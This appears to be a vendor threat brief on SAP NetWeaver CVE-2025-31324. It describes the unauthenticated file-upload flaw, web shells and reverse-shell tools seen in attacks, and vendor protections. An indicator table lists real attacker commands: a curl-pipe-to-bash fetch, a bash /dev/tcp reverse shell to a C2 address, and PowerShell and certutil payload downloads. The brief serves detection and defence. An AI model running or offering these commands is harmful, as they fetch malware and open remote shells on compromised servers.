On April 24, 2025, SAP disclosed CVE-2025-31324, a critical vulnerability with a CVSS score of 10.0 affecting the SAP NetWeaver's Visual Composer Framework, version 7.50. This threat brief shares a brief overview of the vulnerability and our analysis, and also includes details of what we’ve observed through our incident response services and telemetry.
This vulnerability allows unauthenticated users to upload arbitrary files to an SAP NetWeaver application server, leading to potential remote code execution (RCE) and full system compromise. Exploitation is achieved by sending specially crafted HTTP requests to the /developmentserver/metadatauploader endpoint. We have observed attackers leveraging this vulnerability to deploy web shells (e.g., helper.jsp and cache.jsp) for persistent access and subsequent command execution.
In our incident response cases and telemetry, we observed attackers exploiting this vulnerability to deploy, for example, reverse shell tools and a reverse SSH SOCKS proxy using a variety of network infrastructure.
We recommend that users of SAP NetWeaver refer to official documentation and instructions from SAP for guidance.
Palo Alto Networks customers receive protections from and mitigations for CVE-2025-31324 in the following ways:
The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.
CVE-2025-31324 is a critical vulnerability residing in the SAP NetWeaver Application Server Java's Visual Composer component (VCFRAMEWORK). While not installed by default, business analysts commonly use this component to create applications without coding, making it widely present in SAP deployments.
The core issue with this vulnerability is a missing authorization check in the Metadata Uploader, accessible via the /developmentserver/metadatauploader endpoint. This means that any user, even unauthenticated ones, can interact with this endpoint and upload arbitrary files to the server.
Here's a breakdown of how the vulnerability works:
Unrestricted access: The /developmentserver/metadatauploader endpoint is exposed over HTTP/HTTPS and lacks proper authentication or authorization controls.
Malicious file upload: An attacker can send a specially crafted HTTP request to the vulnerable endpoint, containing a malicious file as the request body.
File system access: Due to the missing authorization check, the server accepts the attacker's request and writes the uploaded file to the server's file system. The file is often written to a location within the web application's accessible directories (e.g., under /irj/servlet_jsp/irj/root/).
Web shell execution (common scenario): If the attacker uploads a web shell like a Java server page (JSP) file, the attacker can then access the web shell via a web browser. Now residing on the server, this web shell allows an attacker to execute arbitrary operating system commands with the privileges of the SAP application server process.
System compromise: With the ability to execute commands as an SAP system administrator (system account name: sidadm), an attacker effectively gains control of the SAP system and its associated data. The attacker can then perform various malicious activities.
CVE-2025-31324 allows attackers to bypass security controls and directly upload and execute malicious files on vulnerable SAP servers, potentially leading to complete system compromise. The ease of exploitation (no authentication required) and the possibility for high impact make this a critical vulnerability that requires immediate attention and remediation.
In line with industry observations, we saw suspicious HTTP requests to the /developmentserver/metadatauploader endpoint on SAP NetWeaver systems in late January 2025 that were likely testing this vulnerability before its disclosure. Following a lull in activity, a threat actor exploited this vulnerability starting in mid-March 2025 to deploy JSP web shells, with names such as cache.jsp and help.jsp.
Unsurprisingly, following the public disclosure of this vulnerability, we saw a variety of attacks exploiting this vulnerability and attempting to send different payloads to the server.
We observed two stages of post-compromise activity:
Following a successful exploit and initial web shell, attackers have used a variety of common reconnaissance commands to gather information about the compromised systems and the surrounding network. Commands observed during intrusions include:
The majority of initial post-exploitation activity centered around the deployment and use of web shells. While above we noted web shells named helper.jsp and cache.jsp, attackers also deployed other JSP files for web shells.
One such sample is named ran.jsp, shown in Figure 1. This is a simple JSP file capable of executing commands sent as the cmd parameter. The results of these commands are returned as HTML text, if the correct key parameter is supplied.
We have also observed attackers deploying other reverse shell tools with the filename config. These include a publicly available tool that Google calls GOREVERSE. Based on the project's GitHub page, GOREVERSE has the following capabilities:
The sample we observed was a 64-bit ELF binary that was obfuscated using another open-source tool called Garble. In this instance, the threat actor first downloaded a shell script config.sh to the compromised SAP server using the initial helper.jsp webshell. The shell script was downloaded from ocr-freespace.oss-cn-beijing.aliyuncs[.]com and is shown below in Figure 2.
This GOREVERSE sample uses a hard-coded C2 address and port number of 47.97.42[.]177:3232. The IP address 47.97.42[.]177 has also been associated with malware based on the open-source tool SUPERSHELL. Further analysis of CVE-2025-31324 exploitation activity involving this IP address (including potential attribution to a threat actor likely based in China) has been highlighted in reporting by Forescout.
We observed an attacker execute the following PowerShell command to download a suspicious payload as shown in Figure 3.
The domain pages[.]dev is used by a legitimate Cloudflare service that can deploy websites. In this example, d-69b.pages[.]dev hosted a Base64-encoded PowerShell script. The decoded script performs several actions:
Based on the ease of exploiting the vulnerability and potential for high impact, we recommend taking steps to protect your organization. We recommend that users of SAP NetWeaver refer to official documentation and instructions from SAP for guidance.
Unit 42 will continue to monitor exploitation of this vulnerability and update this threat brief as appropriate.
Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Palo Alto Networks customers are better protected by our products, as listed below.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block attempted exploitation of CVE-2025-31324 via the following Threat Prevention signature: 96181.
Cortex Xpanse has the ability to identify internet-exposed SAP NetWeaver applications, including version information, on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the “SAP NetWeaver Application Server” Attack Surface Rule is enabled.
Additionally, an Attack Surface Test named "SAP NetWeaver Visual Composer Metadata Uploader Arbitrary File Upload Vulnerability" is available, which can be run against exposed applications to provide confirmation of exploitability for this vulnerability.
These findings are also available for Cortex XSIAM customers who have purchased the ASM module.
Cortex XDR and XSIAM are designed to protect from threat actors dropping and executing commands from web shells using Anti-Webshell Protection.
Domains and IP addresses associated with this malicious activity are categorized as malicious by Advanced URL Filtering and Advanced DNS Security.
Indicator | Data | Note |
IPv4 address | 205.169.39[.]55 | Tested exploit in January 2025 |
IPv4 address | 206.188.197[.]52 | Exploited vulnerability and deployed web shells in March 2025 |
IPv4 address | 65.49.235[.]210 | Hosting suspicious payload |
IPv4 address | 108.171.195[.]163 | Hosting suspicious payload |
IPv4 address | 47.97.42[.]177 | GOREVERSE C2 |
IPv4 address | 45.76.93[.]60 | Reverse SSH SOCKS proxy C2 |
IPv4 address | 158.247.224[.]100 | Hosting suspicious payload |
IPv4 address | 31.192.107[.]157 | Hosting suspicious payload |
IPv4 address | 107.173.135[.]116 | Attempted GET requests against several already reported web shell names |
IPv4 address | 192.3.153[.]18 | Attempted GET requests against several already reported web shell names to download reported Supershell malware from the domain overseas-recognized-athens-oakland[.]trycloudflare |
IPv4 address | 188.166.87[.]88 | Attempted GET requests against several already reported web shell names |
IPv4 address | 223.184.254[.]150 | Attempted GET requests against several already reported web shell names |
IPv4 address | 51.79.66[.]183 | Attempted GET requests against several already reported web shell names |
IPv4 address | 85.106.113[.]168 | Attempted GET requests against the helper.jsp web shell to download and execute a bash command from 138.68.61[.]82 |
IPv4 address | 138.68.61[.]82 | Reverse shell C2 |
IPv4 address | 101.99.91[.]107 | Attempted GET requests against several already reported web shell names |
IPv4 address | 103.207.14[.]195 | Attempted GET requests against several already reported web shell names |
IPv4 address | 13.232.191[.]219 | Attempted GET requests against several already reported web shell names |
FQDN | ocr-freespace.oss-cn-beijing.aliyuncs[.]com | Hosted GOREVERSE payload |
FQDN | overseas-recognized-athens-oakland.trycloudflare[.]com | Hosted reported SUPERSHELL payload |
FQDN | d-69b.pages[.]dev | Hosting suspicious payload |
Command | curl 138.68.61[.]82|bash | Downloads and executes this command bash -i >& /dev/tcp/138.68.61[.]82/4544 0>&1 |
Command | bash -i >& /dev/tcp/138.68.61[.]82/4544 0>&1 | Establishes reverse shell from a compromised SAP server |
Command | curl -sk hxxps://overseas-recognized-athens-oakland.trycloudflare[.]com/v2.js || wget --no-check-certificate -q -O - hxxps://overseas-recognized-athens-oakland.trycloudflare[.]com/v2.js) | bash -sh | Attempted to download reported SUPERSHELL payload |
Command | powershell Invoke-WebRequest -Uri "hxxp://31.192.107[.]157:38205/ReportQueue.exe" -OutFile "C:\programdata\ReportQueue.exe" | Attempting to download a suspicious payload |
Command | powershell Invoke-WebRequest -Uri "hxxp://158.247.224[.]100:38205/EACA38DB.tmp" -OutFile "C:\programdata\EACA38DB.tmp" | Attempting to download a suspicious payload |
Command | powershell curl -o "C:\users\public\ansgdhs.bat" hxxp://101.32.26[.]154/rymhNszS/ansgdhs.bat | Attempting to download a malicious Batch file |
Command | powershell IEX(New-Object Net.WebClient).DownloadString('hxxps://d-69b.pages[.]dev/sshb64.ps1') | Attempting to download a malicious PowerShell script |
Command | certutil.exe -urlcache -split -f hxxp://108.171.195[.]163:8000/$FILE_NAME$.txt ~\sap.com\irj\servlet_jsp\irj\root\Logout.jsp | Attempting to download suspicious payload |
Command | powershell (new-object Net.WebClient).DownloadFile('hxxp://108.171.195[.]163:8000/$FILE_NAME$.txt ,'~\sap.com\irj\servlet_jsp\irj\root\Logout.jsp') | Attempting to download suspicious payload |
Command | powershell Invoke-WebRequest -Uri "hxxp://65.49.235[.]210/download/2.jpg" -OutFile "cmake.exe" | Attempting to download unknown payload |
SHA256 hash | df492597eb412c94155a7f437f593aed89cfec2f1f149eb65174c6201be69049 | Downloaded from 101.32.26[.]15 named shell.jsp |
SHA256 hash | 9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d | Downloaded by ansgdhs.bat named 0g9pglZr74.ini. This suspicious file is downloaded from 101.32.26[.]15. |
SHA256 hash | c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28 | Downloaded by ansgdhs.bat named wbemcomn.dll this suspicious file is downloaded from 101.32.26[.]154 and is possibly side-loaded |
SHA256 hash | 3f5fd4b23126cb21d1007b479954af619a16b0963a51f45cc32a8611e8e845b5 | Batch file downloaded from 101.32.26[.]154 named ansgdhs.bat |
SHA256 hash | 598b38f44564565e0e76aa604f915ad88a20a8d5b5827151e681c8866b7ea8b0 | JSP webshell named helper.jsp and usage.jsp |
SHA256 hash | 888e953538ff668104f838120bc4d801c41adb07027db16281402a62f6ec29ef | GOREVERSE reverse shell, named config |
SHA256 hash | 5919F2EAB8A826D7BA84E6C413626F5D11ED412D7DF0D3AB864F31D3A8DB3763 | Batch script that attempts to download GOREVERSE and executes it |
SHA256 hash | 5a8ddc779dcf124fe5692d15be44346fb6d742322acb0eb3c6b4e90f581c5f9e | Payload downloaded from 65.49.235[.]210 named 2.jpg |
SHA256 hash | 427877aadd89f427e1815007998d9bb88309c548951a92a6e4064df001e327c2 | Base64-encoded PowerShell Script downloaded from d-69b.pages[.]dev named sshb64.ps1 that creates reverse SSH SOCKS proxy |
SHA256 hash | 69bb809b3fee09ed3ec9138f7566cc867bd6f1e8949b5e3daff21d451c533d75 | JSP web shell named ran.jsp |
SHA256 hash | b9ef95ca541d3e05a6285411005f5fee15495251041f78e715234b09d019b92c | Suspected web shell |
SHA256 hash | 1abf922a8228fd439a72cfddf1ed08ea09b59eaa4ae5eeba1d322d5f3e3c97e8 | Suspected web shell |
SHA256 hash | 2e6f348f8296f4e062c397d2f3708ca6fdeab2c71edfd130b2ca4c935e53c0d3 | Suspected web shell |
SHA256 hash | 6c6c984727dc53af110ed08ec8b15092facb924c8ad62e86ec76b52a00a41a40 | Suspected web shell |
SHA256 hash | 4b17beee8c2d94cf8e40efc100651d70d046f5c14a027cf97d845dc839e423f9 | Suspected web shell |
SHA256 hash | 7aab6ec707988ff3eec37f670b6bb0e0ddd02cc0093ead78eb714abded4d4a79 | Suspected web shell |
SHA256 hash | b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee | Suspected web shell |